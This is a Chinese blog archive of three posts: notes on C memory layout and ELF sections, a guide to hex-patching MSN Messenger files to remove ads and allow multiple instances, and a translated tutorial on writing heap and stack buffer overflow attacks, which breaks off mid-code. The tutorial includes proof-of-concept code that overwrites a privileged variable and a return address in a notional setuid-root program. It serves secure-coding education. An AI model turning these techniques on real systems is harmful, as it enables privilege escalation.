Regroupement par :
Date
Catégorie
30 avril
从总体上程序的内存空间可分为代码区和数据区。 从C++的角度来看数据区又可作如下划分: 1. 自动存储区(栈):自动(局部)变量、寄存器变量(声明的寄存器变量可能在寄存器中,也可能在一般内存中。在逻辑上寄存器属于自动存储区。)、临时对象以及函数参数。 2. 静态存储区:全局对象、函数中的静态变量、类中的静态数据成员、常量字符串以及 namespace 变量(比如 namespace abc = std;中的 abc。)
3. 自由存储区(堆):也称为动态内存。 一个可执行文件、.o、.a文件中系统规定的段有这么多 * .bss 该sectiopn保存着未初始化的数据,这些数据存在于程序内存映象中。通过定义,当程序开始运行,系统初始化那些数据为0。该section不占文件空间,正如它的section类型SHT_NOBITS指示的一样。 * .comment
该section保存着版本控制信息。 * .data and .data1 这些sections保存着初始化了的数据,那些数据存在于程序内存映象中。 * .debug 该section保存着为标号调试的信息。该内容是未指明的。 * .dynamic 该section保存着动态连接的信息。该section的属性将包括SHF_ALLOC位。是否需要SHF_WRITE是跟处理器有关。第二部分有更详细的信息。
* .dynstr 该section保存着动态连接时需要的字符串,一般情况下,名字字符串关联着符号表的入口。第二部分有更详细的信息。 * .dynsym 该section保存着动态符号表,如"Symbol Table"的描述。第二部分有更 详细的信息。 * .fini 该section保存着可执行指令,它构成了进程的终止代码。
因此,当一个程序正常退出时,系统安排执行这个section的中的代码。 * .got 该section保存着全局的偏移量表。看第一部分的"Special Sections"和第二部分的"Global Offset Table"获得更多的信息。 * .hash 该section保存着一个标号的哈希表。看第二部分的"Hash Table"获得更多的信息。
* .init 该section保存着可执行指令,它构成了进程的初始化代码。 因此,当一个程序开始运行时,在main函数被调用之前(c语言称为main),系统安排执行这个section的中的代码。 * .interp 该section保存了程序的解释程序(interpreter)的路径。假如在这个section中有一个可装载的段,那么该section的属性的SHF_ALLOC位将被设置;否则,该位不会被设置。看第二部分获得更多的信息。
* .line 该section包含编辑字符的行数信息,它描述源程序与机器代码之间的对于关系。该section内容不明确的。 * .note 该section保存一些信息,使用"Note Section"(在第二部分)中提到的格式。 * .plt 该section保存着过程连接表(Procedure Linkage Table)。看第一部分的``Special Sections''和第二部分的"Procedure Linkage Table"。
* .rel<name> and .rela<name> 这些section保存着重定位的信息,看下面的``Relocation''描述。 假如文件包含了一个可装载的段,并且这个段是重定位的,那么该section的 属性将设此,一个重定位的section适用的是.text,那么该名字就为.rel.text或者是.rela.text。
* .rodata and .rodata1 这些section保存着只读数据,在进程映象中构造不可写的段。看第二部分的`Program Header''获得更多的资料。 * .shstrtab 该section保存着section名称。 * .strtab 该section保存着字符串,一般地,描述名字的字符串和一个标号的入口相关 联。假如文件有一个可装载的段,并且该段包括了符号字符串表,那么section的SHF_ALLOC属性将被设置;否则不设置。
* .symtab 该section保存着一个符号表,正如在这个section里``Symbol Table''的描述。假如文件有一个可装载的段,并且该段包含了符号表,那么section的SHF_ALLOC属性将被设置;否则不设置。 * .text 该section保存着程序的``text''或者说是可执行指令。
前缀是点(.)的section名是系统保留的,尽管应用程序可以用那些保留的section名。应用程序可以使用不带前缀的名字以避免和系统的 sections冲突。object文件格式可以让一个定义的section部分不出现在上面的列表中。一个object文件可以有多个同样名字的 section。 引用: 简单地说有如下结构 命令行参数和环境变量 栈 堆
未初始化数据段bss 初始数据段 正文段 C程序一直由下列部分组成: 1)正文段——CPU执行的机器指令部分;一个程序只有一个副本;只读,防止程序由于意外事故而修改自身指令; 2)初始化数据段(数据段)——在程序中所有赋了初值的全局变量,存放在这里。 3)非初始化数据段(bss段)——在程序中没有初始化的全局变量;内核将此段初始化为0。
4)栈——增长方向:自顶向下增长;自动变量以及每次函数调用时所需要保存的信息(返回地址;环境信息)。 5)堆——动态存储分。 |-----------| | | |-----------| | 栈 | |-----------| | | | | \|/ |
| | | | | /|\ | | | | |-----------| | 堆 | |-----------| | 未初始化 | |-----------| | 初始化 | |-----------| | 正文段 |
|-----------|
29 avril
前几天的live.com邮箱抢注,闹得沸沸扬扬,接着就是MSN Messenger在2天里陆续推出了新的正式版本,在8.0.0787.00之后紧接着又发布了8.0.0792.00 released(发行版本).
8.0版本的优点不用多说了,唯一感到一点,以前的非msn.com和hotmail.com以及live.com的邮箱id全部都能登陆了.
闲话打住,进入正题.首先792版本的下载地址
http://download.microsoft.com/download/4/1/9/419a95a3-2cdc-43ca-8c89-5f739fbbe051/Install_Messenger.exe ,然后是工具 Resource Hacker ,这个大家自行搜索吧,太多了.修改目标文件是:X:\Program Files\MSN Messenger目录中的msgsres.dll
去除聊天对话框广告: 打开4004-920号资源,查找里面的id=atom(adbannergutter),将其前面的layoutpos=bottom改为layoutpos=
none.然后点击"编译脚本".
去除主面板广告: 打开4004-923号资源,查找里面的ID=Atom(SSConstrainer),将其前面的layoutpos=top改为layoutpos=none.然后点击"编译脚本".
去除主面板搜索条: 打开4004-923号资源,查找里面的id=atom(idSearchContainer),将其前面的layoutpos=bottom改为layoutpos=
none.然后点击"编译脚本".
到此,你的已经是无广告,无搜索版本.如果还不满意左侧标签栏,以及好友列表字体大小,继续往下进行.
去除左侧标签栏: 打开4004-923号资源,查找里面的id=atom(tabmanager),将其前面的layoutpos=left改为layoutpos=none.然后点击"编译脚本".
更改好友列表字体: 将资源文件中的SysMetric(-16)修改为9pt,
共3处.每修改一处都要点击"编译脚本".
多开修改: 可能这个大家比较有兴趣,前面几个都是用工具Resource Hacker修改msgsres.dll,多开修改需使用16进制编辑器UltraEdit,这个也请大家自行搜索吧,太多了.修改目标文件是:X:\Program Files\MSN Messenger目录中的msnmsgr.exe,ultraedit打开msnmsgr.exe找到000EA3AC把
B7 改为 B6 就行了.
PS:到此为止,你的msn已经是终极版本了,并且是DIY的版本,感觉不错吧.
重要提醒,上述操作请确保msn未运行的状态Resource Hacker编辑时每次点击"编译脚本"后最好用Ctrl+S保存一下.修改前请自行备份msnmsgr.exe和msgsres.dll文件,最后请注意除"多开修改"有版本限制外,其他修改对msn系列基本通用.
27 avril
级别: 初级
Gary McGraw 和 John Viega Reliable Software Technologies
2000 年 3 月 01 日
专栏作家 Gary 和 John 在他们关于缓冲区溢出前一部分中说明了如何通过防御性编程来保护您的代码。在这次的专栏文章中,Gary 和 John 向您详细说明了如何针对目标程序构造缓冲区溢出攻击 ― 因此您可以主动保护您自己的代码不受黑客攻击。
要理解大多数缓冲区溢出的本质,首先需要理解当典型程序运行时机器中的内存是如何分配的。在许多系统上,每个进程都有其自己的虚拟地址空间,它们以某种方式映射到实际内存。我们不会关心描述用来将虚拟地址空间映射成基本体系结构的确切机制。我们只关心理论上允许寻址大块连续内存的进程,在某些情况下坏家伙会滥用这些内存中的某些部分。
在高级别上,几乎总是存在几个不同的内存区域:
程序参数 和 程序环境 。
程序堆栈 ,它通常在程序执行时增长。通常,它向下朝堆增长。
堆 ,它也在程序执行时增长。通常,它向上朝堆栈增长。
BSS 段 ,它包含未初始化的全局可用的数据(例如,全局变量)。在下面的代码示例 1 中,变量 number_matches 被分配到 BSS 段中,因为直到调用 main() 后才初始化该变量。
数据段 ,它包含初始化的全局可用的数据(通常是全局变量)。在代码示例 1 中,变量 to_match 将被分配到数据段中,因为它是在声明时进行初始化的。
文本段 ,它包含只读程序代码。
BSS、数据和文本段组成静态内存:在程序运行之前这些段的大小已经固定。程序运行时虽然可以更改个别变量,但不能将数据分配到这些段中。例如在我们的示例代码中,只要一发现变量 to_match 是程序的参数,就递增变量 number_matches 的值。虽然我们可以更改 to_match 的值,但字符串长度不能大于三个字符,避免覆盖其它数据。
代码示例 1
char to_match[] = "foo";
int number_matches;
void main(int argc, char *argv[])
{
int i;
number_matches = 0;
for(i = 0; i < argc; i++)
{
if(!strcmp(argv[i], to_match)) number_matches++;
}
printf("There were %d matches of %s.\n", number_matches, to_match);
}
与静态内存形成对比,堆和堆栈是动态的:在程序执行时,它们可以增长(和缩小)。这些大小的更改是运行时内存分配的直接结果。有两种类型的运行时内存分配:堆栈分配和堆分配。至堆的程序员接口因语言而异。在 C 中,堆是经由 malloc() 和其它相关函数来访问的。在 C++ 中的 new 运算符是至堆的程序员接口。
只要一调用函数,就自动为程序员处理堆栈分配。堆栈保存有关当前函数调用的上下文。这一信息的容器是连续的存储块,称为活动记录或者堆栈帧。许多东西可能进入活动记录,通常它们的内容同时与体系结构和编译器相关的。放置在堆栈帧中的某些公共项包括函数的非静态局部变量值、实际参数(即,传递到函数的参数)、保存的寄存器信息以及当函数返回时程序应该跳到的地址。这些项中很多都被保存在机器寄存器中,而不是堆栈中,主要原因是为了增加效率(一个编译器相关的因素)。
在 C 中,堆栈和堆上的数据都可以溢出。正如我们所知,有时溢出覆盖了有用的东西,因此引起了安全性问题。例如,溢出可能覆盖一个对于安全性关键的访问控制标志;或者溢出可能复位一个密码。在堆栈摧毁的情况下,溢出覆盖了堆栈帧中的返回地址。如果攻击者可以将他自己的代码放入通过堆栈赋予值的变量中,然后构造一个新的返回地址以跳至该代码,他就可以为所欲为了!通常,他想得到一个交互式 shell。
让我们更详细地讨论堆和堆栈溢出。
评估堆溢出弱点
虽然堆溢出在理论上很简单,但是对于攻击者来说,开发一个堆溢出实际上却很难,这有几个原因。首先,攻击者必须弄清哪一个变量对于安全性来说是关键的。这个过程通常是极其困难的,尤其是在可能的攻击者没有源代码的情况下。其次,即使找到了对于安全性关键的变量,攻击者还必须提供一个可被溢出的缓冲区,就象覆盖目标变量的方法那样。这通常意味着缓冲区需要有一个比目标变量低的内存地址;否则无法向上溢出到该变量地址空间中。
让我们查看一个示例。考虑一台运行 Linux 的 x86 机器。我们将从一个无聊的小程序开始 ― 实际上只是一个程序片段:
void main(int argc, char **argv)
{
int i;
char *str = (char *)malloc(sizeof(char)*4);
char *super_user = (char *)malloc(sizeof(char)*9);
strcpy(super_user, "viega");
if(argc > 1)
strcpy(str, argv[1]);
else
strcpy(str, "xyz");
}
假设这个程序使用 root 特权运行。请注意我们可以看见源代码,并且还注意到在程序的另外的地方, super_user 可能是一个重要变量。那意味着如果我们可以覆盖它,就可能操纵程序做"坏事"。
我们可以覆盖该变量吗?要开始尝试,我们可以猜测在内存中 super_user 正好放在 str 后。我们的初始思想模型类似于:
内存地址
变量
Whatever
str
Whatever + 4
super_user
但是谁会说 super_user 不在 str 之前出现?又有谁会说在内存中它们是被放在一起的。我们的直觉是基于我们看到的事物在程序原文中的顺序。而编译器不必考虑变量在代码中出现的顺序,这对于菜鸟级的攻击者来说可不是个好消息。那么,答案是什么呢?
让我们将程序复制到我们自己的目录然后开始摆弄它。我们将修改程序以打印出这两个缓冲区的地址:
void main(int argc, char **argv)
{
int i;
char *str = (char *)malloc(sizeof(char)*4);
char *super_user = (char *)malloc(sizeof(char)*9);
printf("Address of str is: %p\n", str);
printf("Address of super_user is: %p\n", super_user);
strcpy(super_user, "viega");
if(argc > 1)
strcpy(str, argv[1]);
else
strcpy(str, "xyz");
}
在我们的机器上运行这个程序时,典型的结果是:
Address of str is: 0x80496c0
Address of super_user is: 0x80496d0
在本例中, super_user 确实在 str 后,因此那是个好信号。但是有点令人奇怪的是它们并未被相邻放置。让我们继续研究,并通过对代码版本做如下修改在代码片断的结束处打印出从 str 的起始处到 super_user 的结束处的所有内存地址:
void main(int argc, char **argv)
{
int i;
char *str = (char *)malloc(sizeof(char)*4);
char *super_user = (char *)malloc(sizeof(char)*9);
char *tmp;
printf("Address of str is: %p\n", str);
printf("Address of super_user is: %p\n", super_user);
strcpy(super_user, "viega");
if(argc > 1)
strcpy(str, argv[1]);
else
strcpy(str, "xyz");
tmp = str;
while(tmp < super_user + 9)
{
printf("%p: %c (0x%x)\n", tmp, *tmp, *(unsigned int*)tmp);
tmp += 1;
}
}
printf 格式字符串中的 %p 参数将导致 tmp 以十六进制的内存指针的形式被打印出来。 %c 将一个字节作为字符打印出来。 %x 以十六进制打印出一个整数。由于 tmp 中的元素值比整数短,所以我们需要将每个元素的类型重新强制转换成 unsigned int
,这样就可以正确打印出每个元素。
如果我们运行不带参数的程序,则典型的结果如下:
Address of str is: 0x8049700
Address of super_user is: 0x8049710
0x8049700: x (0x78)
0x8049701: y (0x79)
0x8049702: z (0x7a)
0x8049703: (0x0)
0x8049704: (0x0)
0x8049705: (0x0)
0x8049706: (0x0)
0x8049707: (0x0)
0x8049708: (0x0)
0x8049709: (0x0)
0x804970a: (0x0)
0x804970b: (0x0)
0x804970c: _ (0x11)
0x804970d: (0x0)
0x804970e: (0x0)
0x804970f: (0x0)
0x8049710: v (0x76)
0x8049711: i (0x69)
0x8049712: e (0x65)
0x8049713: g (0x67)
0x8049714: a (0x61)
0x8049715: (0x0)
0x8049716: (0x0)
0x8049717: (0x0)
0x8049718: (0x0)
注意到为 str 保留了四个字节(它出现在变量 super_user 开始前 12 个字节的地方)。让我们尝试用 mcgraw 覆盖 super_user 的值。要做到这一点,我们在命令行上将一个参数传递到程序,该参数被复制到 str 。
象这样运行程序:
这产生了我们想要的准确行为:
Address of str is: 0x8049700
Address of super_user is: 0x8049710
0x8049700: x (0x78)
0x8049701: y (0x79)
0x8049702: z (0x7a)
0x8049703: . (0x2e)
0x8049704: . (0x2e)
0x8049705: . (0x2e)
0x8049706: . (0x2e)
0x8049707: . (0x2e)
0x8049708: . (0x2e)
0x8049709: . (0x2e)
0x804970a: . (0x2e)
0x804970b: . (0x2e)
0x804970c: . (0x2e)
0x804970d: . (0x2e)
0x804970e: . (0x2e)
0x804970f: . (0x2e)
0x8049710: m (0x6d)
0x8049711: c (0x63)
0x8049712: g (0x67)
0x8049713: r (0x72)
0x8049714: a (0x61)
0x8049715: w (0x77)
0x8049716: (0x0)
0x8049717: (0x0)
0x8049718: (0x0)
我们无法很方便地通过简单命令行界面将空格或空字符放入字符串中。因此在本例中,我们只是用小数点填充,这就足够了。有一种更好的插入带有空字符和小数点的输入的方法,就是使用一个程序来调用另一个程序。调用程序可以构造任何需要的字符串,然后将任意参数经由 execv (或者某些类似函数)传递到其调用的程序中。以后当我们考虑堆栈溢出时再做这类事情。
我们现在已经成功地溢出了一个堆变量。请注意,我们必须覆盖某些"间隙"空间。在本例中,我们滥用内存不会导致问题。在实际程序中,虽然我们可能不得不覆盖对于程序基本功能至关重要的数据。但如果我们操作失误,则只要程序在使用我们放置在堆上的恶意数据之前命中我们覆盖的"中间"数据,它就可能崩溃。这会使我们的攻击无法奏效。(倒霉,又失败了。)如果我们对内存的滥用导致了问题,则需要精确地确定堆上的哪些数据不能碰。
作为开发人员,您需要牢记堆溢出将成为攻击的潜在目标区。还应该以攻击者的思路来记住这一点。不要忘记在您第一次覆盖对于安全性关键的变量和对于安全性关键的上下文中使用该变量之间的这段时间内,它可能被更改。
评估堆栈溢出弱点
堆溢出的主要问题是很难以期望的方式找到对于安全性关键的区域。堆栈溢出在这一点上却不是一个难题,因为在堆栈上总是会覆盖一些对于安全性关键的东西 ― 返回地址!
这里是我们的评估和攻击堆栈溢出的唱反调的安排:
找出一个要溢出的堆栈分配的缓冲区以允许我们覆盖堆栈帧中的返回地址。
将攻击代码放入内存以便当我们攻击的函数返回时可以跳至该攻击代码。
使用将导致程序跳至我们的攻击代码的值来覆盖堆栈上的返回地址。
要实现这个样本的攻击,首先我们需要断定我们可以溢出程序中的哪一个缓冲区。通常存在两种类型的堆栈分配数据:非静态局部变量和函数的参数。
我们可以同时溢出这两种数据类型吗?视情况而定。我们只能溢出内存地址低于返回地址的项。首先选择某些函数然后"映射"堆栈。换句话说,我们想要找出相对于我们感兴趣的返回地址,参数和局部变量存在于何处。
让我们从另一个简单的 C 程序开始:
void test(int i)
{
char buf[12];
}
int main()
{
test(12);
}
test 函数具有一个局部参数和一个静态分配的缓冲区。为了查看这两个变量所在的内存地址(彼此相对的地址),我们将对代码略作修改:
void test(int i)
{
char buf[12];
printf("&i = %p\n", &i);
printf("&buf[0] = %p\n", buf);
}
int main()
{
test(12);
}
通常,执行我们修改的代码将产生下列输出:
&i = 0xbffffa9c
&buf[0] = 0xbffffa88
现在,我们可以查看这些数据的常规邻近区域,然后确定是否看到类似返回地址的东西。让我们从 buf 上的 8 个字节开始查看,然后在 i 结束后 8 个字节处停下来。
要做到这一点,我们将按如下修改代码:
/* Global variable, so we don't add anything to the stack */
char *j;
void test(int i)
{
char buf[12];
printf("&i = %p\n", &i);
printf("&buf[0] = %p\n", buf);
for(j=buf-8;j<((char *)&i)+8;j++)
printf("%p: 0x%x\n", j, *(unsigned char *)j);
}
int main()
{
test(12);
}
请注意,要获取变量 i 起始处前 8 个字节,我们必须将变量的地址类型强制转换为 char * 。为什么呢?因为当 C 将地址加 8 时,它实际上加了 8 倍数据类型大小(它认为这些存储在内存地址处)。这意味着将整数指针增加 8 将导致内存地址增加 32 字节而不是想要的 8 个字节。
这里是来自我们的新程序的典型输出:
&i = 0xbffffa9c
&buf[0] = 0xbffffa88
0xbffffa80: 0x45
0xbffffa81: 0xfa
0xbffffa82: 0xff
0xbffffa83: 0xbf
0xbffffa84: 0xbf
0xbffffa85: 0x0
0xbffffa86: 0x0
0xbffffa87: 0x0
0xbffffa88: 0xfc
0xbffffa89: 0x83
0xbffffa8a: 0x4
0xbffffa8b: 0x8
0xbffffa8c: 0x9c
0xbffffa8d: 0xfa
0xbffffa8e: 0xff
0xbffffa8f: 0xbf
0xbffffa90: 0x49
0xbffffa91: 0xd6
0xbffffa92: 0x2
0xbffffa93: 0x40
0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf
0xbffffa98: 0xe6
0xbffffa99: 0x84
0xbffffa9a: 0x4
0xbffffa9b: 0x8
0xbffffa9c: 0xc
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0x0
0xbffffaa0: 0x0
0xbffffaa1: 0x0
0xbffffaa2: 0x0
0xbffffaa3: 0x0
令人头疼的问题是:是不是这里的每个地址都象返回地址?记住,内存地址是四字节的,而我们现在一次只查看一个字节。这很好。但是,我们仍然不知道应该查看的范围。我们如何得出返回地址的范围呢?我们知道一件事,程序将返回到 main() 函数。也许我们可以获取 main 函数的地址,打印出来,然后查找紧挨着的四个连续字节的模式。
让我们再次修改代码:
char *j;
int main();
void test(int i)
{
char buf[12];
printf("&main = %p\n", &main);
printf("&i = %p\n", &i);
printf("&buf[0] = %p\n", buf);
for(j=buf-8;j<((char *)&i)+8;j++)
printf("%p: 0x%x\n", j, *(unsigned char *)j);
}
int main()
{
test(12);
}
运行这个程序产生类似这样的输出:
&main = 0x80484ec
&i = 0xbffffa9c
&buf[0] = 0xbffffa88
0xbffffa80: 0x61
0xbffffa81: 0xfa
0xbffffa82: 0xff
0xbffffa83: 0xbf
0xbffffa84: 0xbf
0xbffffa85: 0x0
0xbffffa86: 0x0
0xbffffa87: 0x0
0xbffffa88: 0xfc
0xbffffa89: 0x83
0xbffffa8a: 0x4
0xbffffa8b: 0x8
0xbffffa8c: 0x9c
0xbffffa8d: 0xfa
0xbffffa8e: 0xff
0xbffffa8f: 0xbf
0xbffffa90: 0x49
0xbffffa91: 0xd6
0xbffffa92: 0x2
0xbffffa93: 0x40
0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf
0xbffffa98: 0xf6
0xbffffa99: 0x84
0xbffffa9a: 0x4
0xbffffa9b: 0x8
0xbffffa9c: 0xc
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0x0
0xbffffaa0: 0x0
0xbffffaa1: 0x0
0xbffffaa2: 0x0
0xbffffaa3: 0x0
很明显,函数 main 位于 0x80484ec 。因此在输出中,我们期望看到三个连续的字节,其中前两个是 0x8 和 0x4 ,第三个是 0x84 或可能是 0x85 。(期望出现这种情况,因为我们相信从 main 的起始处到测试返回处的代码只有几个字节长。因为第三个字节大于
0x85 ,它将必须至少为 17 个字节代码。)第四个字节可以是任何合理的长度。当然我们可以在程序中的某处发现所有这三个字节,但是顺序不正确。如果深入研究,将发现它们确实出现 ― 以相反的顺序!这是不一致的。我们正在查找的内存地址以四字节为单位存储。
x86 用怪异的方式存储一些多字节原始类型:我们寻找的数据是按最后一个字节在最前面而第一个字节在最后面的顺序进行存储的。实际上,如您所见,所有位实际都是自上向下存储的。但是,每当我们使用数据时,都用正确的方法处理它们。这就是为什么当我们一次打印出一个字节时,单个字节都按"正序"打印,但是当我们研究应该连续的四个字节时,它们是以相反的顺序打印。
作为一个示例,请考虑变量 i 。当我们将它打印出来时,将看到 12。在 32 位十六进制中,12 用 0x0000000c 表示。如果期望这些字节按正确顺序,则从字节 0xbffffa9c 开始,我们期望看到。
0xbffffa9c: 0x0
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0xc
但是,在这种体系结构中,我们将看见字节以逆序出现。因此扼要重述的话,如果将变量以十六进制单个 32 位数打印出来,则我们得到 0xc (12),而不是 0xc000000 (无符号数 201326592),但是如果我们转储内存,我们看见的就不会如此了。
接下来,让我们以逆序查找 main 函数的四字节模式。通过挑出两个最高有效字节是 0x8 和 0x4 的那些节,开始我们的查找(因为在四字节模式中,最高有效字节是最后两个)。我们想考虑两个目标节。首先,我们有堆栈的下列部分:
0xbffffa88: 0xfc
0xbffffa89: 0x83
0xbffffa8a: 0x4
0xbffffa8b: 0x8
重新组装这四个字节,得到 0x80483fc 。它与 0x80484ec 非常接近,这就是 main 的位置。这无疑是错误的,因为它比 main 的地址略小一点,所以我们要寻找略大一点的。但是,它确实象一个返回地址。
为什么它不是我们查找的返回地址还有另一个理由。研究一下该字起始的内存地址: 0xbffffa88 。如果您仔细研究输出,将注意到 0xbffffa88 其实是 buf 的起始地址。我们确实要求将 12 字节分配给 buf ,但是从未要求过系统将任何东西放入缓冲区。但是,由于 C 没有将缓冲区置零,所以缓冲区的值将是相同内存位置的任何值。很可能
0xbffffa88 是以前存储的另一个程序的返回地址。在任何情况下,这都不是我们所需要的。
在内存转储中只有另一个候选项:
0xbffffa98: 0xf6
0xbffffa99: 0x84
0xbffffa9a: 0x4
0xbffffa9b: 0x8
这个内存再适合不过了。重新组装这四个字节,我们得到 0x80484f6 ,它距离 main() 的起始点 10 个字节。因此,现在让我们描述该堆栈,从 buf ( 0xbffffa88 )的起始点开始:
0xbffffa88-0xbffffa93 是字符数组 buf。
接下来的 4 个字节是:
0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf
重新组装后,这个值为 0xbffffaa0 ,它明显是堆栈中更靠下的一个指针。结果这个字就是调用 test() 前寄存器 ebp 保留的值。一旦执行从 test 返回到 main 时,它就被放回到 ebp 中。但是, ebp 为什么指向堆栈呢? ebp
的值称为基指针。它指向当前堆栈帧。访问局部变量和参数的代码是根据基指针编写的。结果是基指针指向存储旧的基指针的位置。因此本例中 ebp 的当前值将是 0xbffffa94 。
从 0xbffffa98 开始的接下来四个字节构成了返回地址。其后的四个字节( 0xbffffa9c ― 0xbffffa9f )是存储参数 i 的位置。下一个字节 0xbffffaa0 是旧基指针指向的位置(即, main 的调用帧的基指针)。从该地址开始的字的值应该包含调用
main 的函数的基指针。当然,我们所知的函数都没有调用 main ,所以知道 0x000000 就是该字的值就不足为奇了。
完成这些工作后,我们现在已经很清楚地知道堆栈帧是什么样子了:
低地址
牋
局部变量
牋
旧的基指针
牋
返回地址
牋
函数的参数
高地址
堆栈向内存地址 0 增长,而且以前的堆栈帧位于函数参数下面。
现在我们知道如果我们溢出一个局部变量,就可以覆盖我们所处的函数的返回地址。
我们也知道如果溢出一个函数参数,则可以重写下面的堆栈帧中的返回地址。(它总是会产生一个返回地址。 main 函数返回到 C 运行时库中的某一些代码。)
让我们使用下列玩具程序来测试新发现的知识:
/* Collect program arguments into a buffer, then print the buffer */
void concat_arguments(int argc, char **argv)
{
char buf[20];
char *p = buf;
int i;
for(i=1;i<argc;i++)
{
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc)
{
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
}
int main(int argc, char **argv)
{
concat_arguments(argc, argv);
}
只是为了实践,让我们假设这个小程序是在 setuid root 下安装的,这意味着如果我们可以溢出一个缓冲区,然后安装某些代码以获取 shell,最终我们应该得到该机器上的 root 特权。我们将做的第一件事就是将程序复制到自己的目录下,在那里可以试验它。
开始时要注意我们可以溢出缓冲区 buf 然后覆盖返回地址。我们只要在一个命令行中传递超过 20 个字符。多多少呢?这取决于我们先前对堆栈的研究,我们猜测 buf 有 20 个字节,接下来 p 有四个字节,然后是 i 的四个字节。接下来的四个字节存储旧的基指针,最后是返回地址。因此,我们期望返回地址从 buf
开始后的 32 个字节处开始。让我们做一些修改,然后看一下假设是否正确。
首先,我们将打印出 buf 、 p 和 i 的相对位置。对代码进行某些细微修改,则可能得到如下输出:
./a.out foo
foo
&p = 0xbffff8d8
&buf[0] = 0xbffff8dc
&i = 0xbffff8d4
可以看出 p 和 i 都放置在低于 buf 的内存地址上。这是因为首先将第一个参数分配在堆栈上。堆栈向更小的内存地址方向增长。这意味着我们应该期望返回地址位于 buf 开始后的 24 个字节处。我们可以象以前一样仔细检查堆栈以便确认。令人惊奇的是,这个假设是正确的。
趋于无限
现在,让我们尝试让程序跳转到它不想跳转到的某处。例如,我们可以猜测 concat_arguments 从哪里开始,然后让程序跳转到那里。其思路是将程序置于不应该有无限循环的无限循环中,作为对概念的简单证明。我们将添加代码以显示 concat_arguments 是从哪里开始的。危险的是可以通过添加代码修改 concat_arguments 的起始地址。通常如果我们将代码添加到我们想要地址的函数,则不必担心这个问题,但是不可以是代码中的其它地方(因为代码将向下增长到更高的内存地址)。
让我们除去打印出变量值的代码,然后打印出 concat_arguments 的地址。我们将如下修改代码:
void concat_arguments(int argc, char **argv)
{
char buf[20];
char *p = buf;
int i;
for(i=1;i<argc;i++)
{
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc)
{
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
printf("%p\n", &concat_arguments);
}
int main(int argc, char **argv)
{
concat_arguments(argc, argv);
}
When we compile this program as such:
gcc -o concat concat.c
And then run it:
./concat foo bar
我们将获得类似于如下的输出:
现在我们需要以用 0x80484d4 覆盖返回值的方式来调用程序。
啊!我们还必须以某种方式将任意字节放入命令行输入中。这不是很有趣,但是我们可以完成它。我们将编写一个小的 C 程序以调用代码,它可以让我们的工作更容易一点。需要将 24 个字节放入缓冲区中,然后是值 0x800484d4 。我们将在缓冲区中放入什么字节呢?现在用字母 x( 0x78 )来填充它。不能用空字符( 0x0 )来填充它,因为如果这样做,
strcpy 就不会复制覆盖缓冲区,因为当它看见空字符时就会停止。因此,这里是封装器程序的第一部分,我们将它放入一个称为 wrapconcat.c 的文件中。
int main()
{
char* buf = (char *)malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
for(i=0;i<24;i++) buf[i] = 'x';
buf[24] = 0xd4;
buf[25] = 0x84;
buf[26] = 0x4;
buf[27] = 0x8;
arr[0] = "./concat";
arr[1] = buf;
arr[2] = 0x00;
execv("./concat", arr);
}
记住,我们必须以小尾数法(Little Endian)将四字节地址放入缓冲区,因此最高有效字节最后进入。
让我们从 concat.c 中除去旧的调试语句,然后编译 concat.c 和 wrapconcat.c 。现在可以运行 wrapconcat 了。不幸的是,我们没有得到预期的结果。
[viega@lima bo]$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
[viega@lima bo]$
哪里出错了?让我们尝试把它找出来。请记住我们可以将代码添加到 concat_arguments 函数中而不更改函数的地址。因此让我们将一些调试信息加入 concat.c :
void concat_arguments(int argc, char **argv)
{
char buf[20];
char *p = buf;
int i;
printf("Entering concat_arguments.\n"
"This should happen twice if our program jumps to the right place\n");
for(i=1;i<argc;i++)
{
printf("i = %d; argc = %d\n");
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc)
{
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
}
int main(int argc, char **argv)
{
concat_arguments(argc, argv);
}
在您的封装器中运行这个代码将导致类似如下的输出:
[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
i = 2; argc = 32
Segmentation fault (core dumped)
[viega@lima bo]$
为什么 argc 从 2 跳转至 32,导致程序两次遍历循环呢?argc 明显是被以前的 strcpy 所覆盖。让我们检查一下堆栈的思想模型:
较低地址
牋
i
(4 个字节)
牋
p
(4 个字节)
牋
buf
(20 个字节)
牋
旧的基指针
(4 个字节)
牋
返回地址
(4 个字节)
牋
argc
(4 个字节)
牋
argv
(4 个字节)
较高地址
实际上,我们还未检查 argc 是否出现在 argv 之前。结果是它会如此。可以通过检查 strcpy 前的堆栈来确定。如果这样做,您将看到返回地址后的四个字节的值将总是与 argc 相等。
因此我们为什么覆盖 argv 呢?让我们添加一些代码以描绘堆栈的"前后"的图形。完成第一个 strcpy 之前我们将查看它,然后在完成最后一个 strcpy 以后再看一下。现在应该再次修改程序:
void concat_arguments(int argc, char **argv)
{
char buf[20];
char *p = buf;
int i;
printf("Entering concat_arguments.\n"
"This should happen twice if our program jumps to the right place\n");
printf("Before picture of the stack:\n");
for(i=0;i<40;i++)
{
printf("%p: %x\n", buf + i, *(unsigned char *)(buf+i));
}
for(i=1;i<argc;i++)
{
printf("i = %d; argc = %d\n", i, argc);
strcpy(p, argv[i]);
/*
* We'll reuse i to avoid adding to the size of the stack frame.
* We will set it back to 1 when we're done with it!
* (we're not expecting to make it into loop iteration 2!)
*/
printf("AFTER picture of the stack:\n");
for(i=0;i<40;i++)
{
printf("%p: %x\n", buf + i, *(unsigned char *)(buf+i));
}
/* Set i back to 1. */
i = 1;
p+=strlen(argv[i]);
if(i+1 != argc)
{
